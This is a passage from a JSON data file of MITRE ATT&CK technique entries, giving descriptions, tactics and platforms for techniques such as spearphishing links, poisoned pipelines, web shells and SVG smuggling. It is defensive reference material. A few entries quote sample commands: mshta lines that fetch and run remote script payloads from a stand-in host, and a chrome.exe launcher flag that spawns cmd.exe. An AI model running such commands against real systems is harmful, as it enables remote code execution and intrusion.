locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1550.004", + "text": "ATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1677", + "text": "ATT&CK technique: T1677 Poisoned Pipeline Execution\nDescription: Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: * In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact. * In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters. * In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network. By poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).\nTactics: execution\nPlatforms: SaaS" + }, + { + "id": "T1036.010", + "text": "ATT&CK technique: T1036.010 Masquerade Account Name\nDescription: Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name. Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery. Note that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\nTactics: stealth\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1606.001", + "text": "ATT&CK technique: T1606.001 Web Cookies\nDescription: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Linux, SaaS, Windows, macOS" + }, + { + "id": "T1668", + "text": "ATT&CK technique: T1668 Exclusive Control\nDescription: Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system. For example, adversaries may patch a vulnerable, compromised system to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services, stripping privileges from accounts, or removing other malware already on the compromised device. Hindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of Resource Hijacking, leveraging a compromised device’s full power allows the threat actor to maximize profit.\nTactics: persistence\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1200", + "text": "ATT&CK technique: T1200 Hardware Additions\nDescription: Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. Replication Through Removable Media), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. Adversary-in-the-Middle), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1685.003", + "text": "ATT&CK technique: T1685.003 Modify or Spoof Tool UI\nDescription: Adversaries may spoof or manipulate security tool user interfaces (UIs) to falsely indicate tools are functioning normally and delay detection and response. Adversaries may present misleading or falsified security tool interfaces (UIs) that display normal or healthy status indicators, even when underlying security tools have been disabled, degraded, or otherwise tampered with. Security tools typically provide visibility into system health, alerting, and operational status; by misrepresenting this information, adversaries can undermine defender trust in these signals and obscure the true security posture of the system. This behavior is often used in conjunction with efforts to disable or modify tools, where adversaries first impair the functionality of defenses (e.g., EDR, logging agents) and then replace or mimic their interfaces to conceal the loss of visibility. By maintaining the appearance of normal operations, such as showing active protection, successful updates, or absence of threats, adversaries can delay investigation and response, enabling continued malicious activity. For example, adversaries may display a fake Windows Security interface or system tray icon indicating a “protected” or “healthy” state after disabling Windows Defender or related services.\nTactics: defense impairment\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1597.001", + "text": "ATT&CK technique: T1597.001 Threat Intel Vendors\nDescription: Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures. Adversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under Search Threat Vendor Data. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1027.009", + "text": "ATT&CK technique: T1027.009 Embedded Payloads\nDescription: Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to Subvert Trust Controls by not impacting execution controls such as digital signatures and notarization tickets. Adversaries may embed payloads in various file formats to hide payloads. This is similar to Steganography, though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats. For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary. Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format. Embedded content may also be used as Process Injection payloads used to infect benign system processes. These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1218.005", + "text": "ATT&CK technique: T1218.005 Mshta\nDescription: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\")) They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1219.003", + "text": "ATT&CK technique: T1219.003 Remote Access Hardware\nDescription: An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment. Remote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).\nTactics: command and control\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1204.002", + "text": "ATT&CK technique: T1204.002 Malicious File\nDescription: An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso. Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it. While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1027.017", + "text": "ATT&CK technique: T1027.017 SVG Smuggling\nDescription: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files. SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files. SVG smuggling can take a number of forms. For example, threat actors may include content that: * Assembles malicious payloads * Downloads malicious payloads * Redirects users to malicious websites * Displays interactive content to users, such as fake login forms and download buttons. SVG Smuggling may be used in conjunction with HTML Smuggling where an SVG with a malicious payload is included inside an HTML file. SVGs may also be included in other types of documents, such as PDFs.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1610", + "text": "ATT&CK technique: T1610 Deploy Container\nDescription: Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to Escape to Host and access other containers running on the node. Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes. Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.\nTactics: execution\nPlatforms: Containers" + }, + { + "id": "T1204.003", + "text": "ATT&CK technique: T1204.003 Malicious Image\nDescription: Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via Upload Malware, and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container. Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: Match Legitimate Resource Name or Location).\nTactics: execution\nPlatforms: Containers, IaaS" + }, + { + "id": "T1485.001", + "text": "ATT&CK technique: T1485.001 Lifecycle-Triggered Deletion\nDescription: Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within. Cloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time. If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once. For example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day. In addition to destroying data for purposes of extortion and Financial Theft, adversaries may also perform this action on buckets storing cloud logs for Indicator Removal.\nTactics: impact\nPlatforms: IaaS" + }, + { + "id": "T1056.002", + "text": "ATT&CK technique: T1056.002 GUI Input Capture\nDescription: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell). Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1587.001", + "text": "ATT&CK technique: T1587.001 Malware\nDescription: Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. During malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders. As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of Web Services.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1505", + "text": "ATT&CK technique: T1505 Server Software Component\nDescription: Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.\nTactics: persistence\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1554", + "text": "ATT&CK technique: T1554 Compromise Host Software Binary\nDescription: Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications. Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., Modify Authentication Process). An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow. After modifying a binary, an adversary may attempt to impair defenses by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).\nTactics: persistence\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1070", + "text": "ATT&CK technique: T1070 Indicator Removal\nDescription: Adversaries may selectively delete or modify artifacts generated to reduce indications of their presence and blend in with legitimate activity. Rather than broadly removing evidence, adversaries may target specific artifacts that appear anomalous or are likely to draw scrutiny, while leaving sufficient data intact to maintain the appearance of normal system behavior. Artifacts such as command histories, log entries, or file metadata may be altered in ways that align with expected user or system activity. Location, format, and type of artifact (such as command or login history) are often platform-specific, allowing adversaries to tailor modifications that minimize suspicion. These actions may not prevent detection entirely but can delay recognition of malicious activity or reduce the fidelity of alerts by making events appear benign or consistent with routine operations. Additionally, selectively removed or modified artifacts may still be recoverable through deeper forensic analysis, though their absence or alteration can complicate timeline reconstruction and attribution.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Network Devices, Office Suite, Windows, macOS" + }, + { + "id": "T1505.003", + "text": "ATT&CK technique: T1505.003 Web Shell\nDescription: Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. China Chopper Web shell client).\nTactics: persistence\nPlatforms: Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1565.002", + "text": "ATT&CK technique: T1565.002 Transmitted Data Manipulation\nDescription: Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nTactics: impact\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1218.015", + "text": "ATT&CK technique: T1218.015 Electron Applications\nDescription: Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams. Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS. The Chromium engine is used to display web content and Node.js runs the backend code. Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework. For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\system32\\cmd.exe /c calc.exe`). Adversaries may also execute malicious content by planting malicious JavaScript within Electron applications.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1070.008", + "text": "ATT&CK technique: T1070.008 Clear Mailbox Data\nDescription: Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of Phishing/Internal Spearphishing, Email Collection, Mail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell PowerShell module, including Remove-MailboxExportRequest to remove evidence of mailbox exports. On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use AppleScript to interact with APIs on macOS. Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.\nTactics: stealth\nPlatforms: Linux, Office Suite, Windows, macOS" + }, + { + "id": "T1588.002", + "text": "ATT&CK technique: T1588.002 Tool\nDescription: Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing – for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications. Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1053.007", + "text": "ATT&CK technique: T1053.007 Container Orchestration Job\nDescription: Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks. An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.\nTactics: execution, persistence, privilege escalation\nPlatforms: Containers" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is 